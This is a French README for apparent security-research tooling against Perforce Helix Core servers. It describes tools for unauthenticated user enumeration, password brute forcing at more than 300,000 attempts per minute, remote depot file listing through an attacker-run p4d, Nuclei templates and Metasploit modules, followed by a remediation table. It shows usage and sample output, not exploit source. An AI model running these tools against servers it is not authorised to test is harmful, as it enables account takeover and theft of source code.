
Recherche et outils de sécurité Perforce - CVE-2026-6043
Outils de recherche en sécurité Perforce (Helix Core) et templates Nuclei.
Article de recherche : https://morganrobertson.net/p4wned/
Veuillez lire ce qui précède pour tous les détails.
Cibles autorisées uniquement. Utilisez sur vos propres serveurs ou avec une autorisation écrite explicite.
Public visé : administrateurs de serveurs Perforce, testeurs d'intrusion, ingénieurs en sécurité
Mise à jour de mai 2026 : Perforce 2026.1 a été publié. Cette version est livrée avec des paramètres sécurisés par défaut ! Très heureux de voir cette version protéger la propriété intellectuelle des développeurs. Lire plus ici.
Remarque : Ces outils recherchent les mauvaises configurations résultant de CVE-2026-6043.
| Outil | Nécessite |
|---|---|
p4wned.py | Python 3, binaire CLI p4 (voir ci-dessous) |
p4ghost.py | Python 3, binaire CLI p4, instance p4d locale (voir configuration ci-dessous) |
p4-auth-hammer | g++, API C++ Perforce, OpenSSL 1.1.1 (voir p4-auth-hammer/README.md) |
| Outils JavaScript | Node.js (aucune dépendance externe) |
| Templates Nuclei | Nuclei v3+ |
| Modules Metasploit | Metasploit Framework |
Acquisition du binaire p4 (requis par p4wned.py et p4ghost.py) :
# Subject to Perforce terms of use: https://www.perforce.com/legal
wget https://ftp.perforce.com/perforce/r25.2/bin.linux26x86_64/p4
chmod +x p4
Les serveurs Perforce exposent un protocole TCP binaire personnalisé (port par défaut 1666). De nombreuses installations sont livrées avec des paramètres par défaut non sécurisés — listage des utilisateurs sans authentification, divulgation d'informations du serveur, dépôts distants accessibles, absence d'exigence de mot de passe et absence de limitation de débit sur les tentatives de connexion. Tous les outils ici exploitent ces défauts sans nécessiter d'identifiants.
Le scanner principal. Utilise le binaire CLI p4 pour énumérer les utilisateurs, tester les identifiants, lister les dépôts et produire un rapport.
python3 p4wned.py [-brute] [-audit] [-parallel N]
Options :
| Indicateur | Description |
|---|---|
-brute | Active le mode force brute — teste les mots de passe contre tous les comptes utilisateurs découverts |
-audit | Mode d'audit approfondi — continue de tester tous les utilisateurs même après avoir trouvé une vulnérabilité |
-parallel N | Nombre de tentatives de mot de passe en parallèle (par défaut : 1) |
Configuration (éditer en haut du script) :
Ce qu'il fait :
run.users.authorize=0)super sur les comptes compromisSortie console :
$ python3 p4wned.py
___ _ _ __ __ __ __ ___
/ _ \ || |/ / /\ \ \/\ \ \/__\/ \
/ /_)/ || |\ \/ \/ / \/ /_\ / /\ /
/ ___/|__ _\ /\ / /\ //__/ /_//
\/ |_| \/ \/\_\ \/\__/___,'
P4WNED - 0wning P4 servers via shit security defaults since Y2K+25
· Sniffs out user accounts, blank passwords, weak creds, and dumb settings.
· Confirms depots access and those juicy "super" user accounts.
· Drops a tidy report so you can fix the mess before the Skids arrive
Authorised targets only, brotendo. Use on your own servers or at your own risk.
==============================================================================
=== Processing: 192.0.2.10:1666 (perforce.example-studio.com) ===
[INFO] Testing user 'super' for security issues...
[INFO] User 'super' does not exist.
[INFO] Users listing accessible: build, designer1, jsmith, lead_prog, svc_build
[INFO] Testing user 'build' for security issues...
[INFO] Testing user 'designer1' for security issues...
[INFO] Testing user 'jsmith' for security issues...
[INFO] Testing user 'lead_prog' for security issues...
[INFO] Testing user 'svc_build' for security issues...
[INFO] Added new credential for 192.0.2.10:1666: user='svc_build', password='None'
[INFO] Saving updated credentials after finding valid credentials for svc_build on 192.0.2.10:1666
[INFO] Report saved to perforce-report-p4wned-1775436520.txt
Fichier de rapport (perforce-report-p4wned-*.txt) :
Perforce Security Scan Report
Server: 192.0.2.10:1666 (perforce.example-studio.com)
Status: Insecure
Note: Insecure via user 'svc_build' (no password)
== Depots ==
Depot depot 2025/11/03 local depot/... 'Default depot'
Depot assets 2024/08/19 local assets/... 'Asset depot'
== Last 10 Changes ==
Change 1047 on 2025/11/03 14:22:11 by lead_prog@DESKTOP-BUILD01
Merge branch feature/ai-pathfinding
Change 1046 on 2025/11/03 09:44:38 by designer1@DESKTOP-ART02
Updated character rig exports
== Depot Details ==
Depot: depot
-- Root Directories --
//depot/Source
//depot/Content
//depot/Config
This depot is a non-Unreal Engine Depot.
------------------------------------------------------------
Summary Report
Server: 192.0.2.10:1666 - Insecure - Note: Insecure via user 'svc_build' (no password)
Teste l'accès non authentifié aux dépôts distants via l'utilisateur caché remote. L'exploitation fonctionne en exécutant une instance p4d locale contrôlée par l'attaquant — le serveur cible se connecte en retour dans le cadre du protocole serveur à serveur, divulguant ainsi la liste des fichiers du dépôt.
Configuration (une fois) :
# Subject to Perforce terms of use: https://www.perforce.com/legal
wget https://ftp.perforce.com/perforce/r24.2/bin.linux26x86_64/p4d
wget https://ftp.perforce.com/perforce/r25.2/bin.linux26x86_64/p4
chmod +x p4d p4
# Start a plain ASCII p4d on port 1818 (used as the attacker's server)
mkdir p4root_attacker
./p4d -r ./p4root_attacker -p 1818 -d
# Start a unicode p4d on a separate port (1819) for unicode targets
mkdir p4root_attacker_unicode
./p4d -r ./p4root_attacker_unicode -xi # convert to unicode mode
./p4d -r ./p4root_attacker_unicode -p 1819 -d
python3 p4ghost.py <input_file> [-skipnolicense] [-report FILE] [-p4cmd PATH]
[-unicodeport PORT] [-nonunicodeport PORT] [-timeout SECS]
# Example invocation using the local attacker servers above
python3 p4ghost.py targets.txt -nonunicodeport 1818 -unicodeport 1819
Arguments :
Versions concernées : Toutes les versions antérieures à 2025.1 avec security < 4 (valeur par défaut 0).
Preuve de concept démontrant que p4d ne limite pas efficacement le débit des tentatives d'authentification lorsque security < 3. Atteint plus de 300 000 tentatives de connexion par minute contre un seul compte en utilisant l'API C++ Perforce.
./p4_auth_hammer_poc <server:port> <username> <password_file> [-ticketauth]
Compilation (nécessite l'API C++ Perforce et OpenSSL 1.1.1 — voir p4-auth-hammer/README.md pour la configuration complète) :
bash p4-auth-hammer/p4_auth_hammer_poc_build.sh
Modes :
security < 3). La limitation de débit est complètement contournée. >300 000 tentatives/min.-ticketauth : connexion basée sur un ticket (security >= 3). La limitation de débit (dm.user.loginattempts) est active à ce niveau.Détection automatique des serveurs SSL et unicode. Ajuste automatiquement le nombre de threads pour un débit maximal.
Correction : p4 configure set security=3 (ou 4). Voir p4-auth-hammer/README.md pour tous les détails.
Scripts Node.js autonomes. Aucune dépendance au-delà de la bibliothèque standard Node.js. Tous les scripts détectent automatiquement le mode SSL vs TCP simple et le mode serveur ASCII vs unicode — aucun indicateur requis.
Format du fichier de cibles : host:port une par ligne, le port par défaut est 1666 s'il est omis. Les lignes commençant par # sont ignorées.
p4testascii.example.net:1666
p4testunicode.example.net:1666
p4testunicode.example.net:1667
Détection automatique : TCP simple est essayé en premier. Si le serveur répond avec le message d'erreur SSL Perforce ("Failed client connect, server using SSL"), la connexion est réessayée via TLS avec rejectUnauthorized: false (accepte les certificats autosignés). Le mode ASCII est essayé en premier ; si le serveur renvoie le message d'erreur unicode, la connexion est réessayée avec le paramètre unicode.
Exploite run.users.authorize=0 (par défaut) pour lister tous les comptes utilisateurs sans authentification.
node javascript/perforce-users.js [targets_file]
Sortie : [host:port] [tcp|ssl] username <email> "Full Name"
Exploite dm.info.hide=0 (par défaut) pour extraire la version du serveur, l'adresse interne, le chemin racine et la chaîne de licence.
node javascript/perforce-info.js [targets_file]
Sortie :
[host:port] [tcp|ssl]
Version : P4D/LINUX26X86_64/2024.2/2877946
Server Addr: internal-hostname:1666
Server Root: /opt/perforce/p4root
License : Acme Corp
Trouve les comptes utilisateurs sans mot de passe défini. Utilise le format de sortie étiqueté (paramètre tag) pour détecter l'absence du champ Password dans les enregistrements utilisateur. Les comptes sans mot de passe permettent une connexion directe sans authentification.
node javascript/perforce-passwordless.js [targets_file]
Sortie : [host:port] [tcp|ssl] [PASSWORDLESS] username <email> "Full Name"
Exploite l'utilisateur caché remote via le RPC serveur à serveur rmt-DbPipe pour lire directement la table db.rev, extrayant les chemins de fichiers des dépôts et les numéros de changements sans authentification. Versions concernées : antérieures à 2025.1 avec security < 4.
node javascript/perforce-remote.js [targets_file]
Sortie :
[host:port] [tcp|ssl] 42 file(s) in depot:
[change=7] [2024-11-03] //depot/src/main.cpp
[change=3] [2024-09-12] //depot/config/database.yml
Extrait les valeurs des clés/compteurs globaux des serveurs Perforce. Les clés peuvent contenir des numéros de build, des chaînes de version internes et de la configuration.
node javascript/perforce-keys.js [targets_file]
Sortie : [host:port] [tcp|ssl] keyname = value
Templates pour Nuclei. Tous les templates utilisent une étape de gate TCP pour confirmer la présence d'un serveur Perforce avant d'exécuter la charge utile JavaScript. Les templates utilisent la même approche de détection automatique que les outils JavaScript.
nuclei -t nuclei-templates/ -u target:1666
nuclei -t nuclei-templates/ -l targets.txt
| Template | ID | Description |
|---|---|---|
perforce-detect.yaml | perforce-detection | Détecte les serveurs Perforce via la poignée de main du protocole binaire. Sévérité : info. |
Limitations : Pas de support SSL, port 1666 uniquement. Voir les outils javascript pour plus.
Trois modules scanner auxiliaires pour le Metasploit Framework, plus une bibliothèque partagée (mixin) qui gère le protocole binaire Perforce. Ces modules couvrent les mêmes vulnérabilités que les outils autonomes ci-dessus — énumération des utilisateurs, détection des comptes sans mot de passe et exploitation des dépôts distants.
Tous les modules détectent automatiquement le mode serveur ASCII vs unicode. SSL est supporté.
| Module | Description |
|---|---|
auxiliary/scanner/perforce/perforce_user_enum |
Les fichiers sources se trouvent dans le répertoire metasploit/. Une PR a été soumise au Metasploit Framework.
Référence rapide de correction :
| Variable | Description |
|---|
INPUT_FILE | Liste des cibles (ip:port, une par ligne) — par défaut perforce-servers.txt |
P4_CMD | Chemin vers le binaire p4 — par défaut ./p4 |
TOP_PASSWORDS_FILE | Wordlist pour la force brute — par défaut top-passwords.txt |
KNOWN_CREDS_FILE | Paires d'identifiants connues à essayer en premier |
REPORT_FILE | Chemin du rapport de sortie |
| Indicateur | Description |
|---|
input_file | Liste des cibles (ip:port, une par ligne) |
-skipnolicense | Ignorer les serveurs qui renvoient Server license: none |
-report FILE | Chemin du rapport de sortie |
-p4cmd PATH | Chemin vers le binaire p4 (par défaut ./p4) |
-unicodeport PORT | Port p4d unicode local à utiliser comme serveur de l'attaquant |
-nonunicodeport PORT | Port p4d non-unicode local |
-timeout SECS | Délai d'attente des commandes |
| Template | ID | Sévérité | CVSS | Description |
|---|
perforce-user-extraction.yaml | perforce-user-enumeration | Medium | 5.3 | Listage des utilisateurs sans authentification — serveurs ASCII et unicode. Extrait les noms d'utilisateur, emails, noms complets. |
perforce-info-disclosure.yaml | perforce-info-disclosure | Medium | 5.3 | Divulgation d'informations du serveur — version, adresse interne, chemin racine, licence. |
perforce-passwordless-users.yaml | perforce-passwordless-users | Critical | 9.1 | Trouve les comptes sans mot de passe défini. |
perforce-remote-depot-unauth.yaml | perforce-remote-depot-access-unauth | High | 7.5 | Accès au dépôt distant via l'utilisateur remote — serveurs ASCII et unicode. Extrait les chemins de fichiers et les numéros de changements. Concernés : < 2025.1 avec security < 4. |
| Listage des utilisateurs sans authentification — extrait les noms d'utilisateur, emails, noms complets et derniers accès. |
auxiliary/scanner/perforce/perforce_passwordless | Détecte les comptes sans mot de passe défini. |
auxiliary/scanner/perforce/perforce_remote_depot | Énumération des fichiers de dépôts distants via l'utilisateur caché remote. Concernés : < 2025.1 avec security < 4. |
| Constatation | Correction |
|---|
| Énumération des utilisateurs | p4 configure set run.users.authorize=1 |
| Divulgation d'informations | p4 configure set dm.info.hide=1 |
| Utilisateurs sans mot de passe | Définir des mots de passe pour tous les comptes ; p4 configure set dm.user.noautocreate=2 |
| Accès au dépôt distant | Mettre à niveau vers 2025.1+, ou p4 configure set security=4 |
| Limitation de débit d'auth | p4 configure set security=3 (active le verrouillage effectif via dm.user.loginattempts) |
| Tout ce qui précède | p4 configure set security=4 plus les paramètres individuels ci-dessus — security=4 corrige l'exploit distant mais ne masque pas les listes d'utilisateurs ni les infos serveur |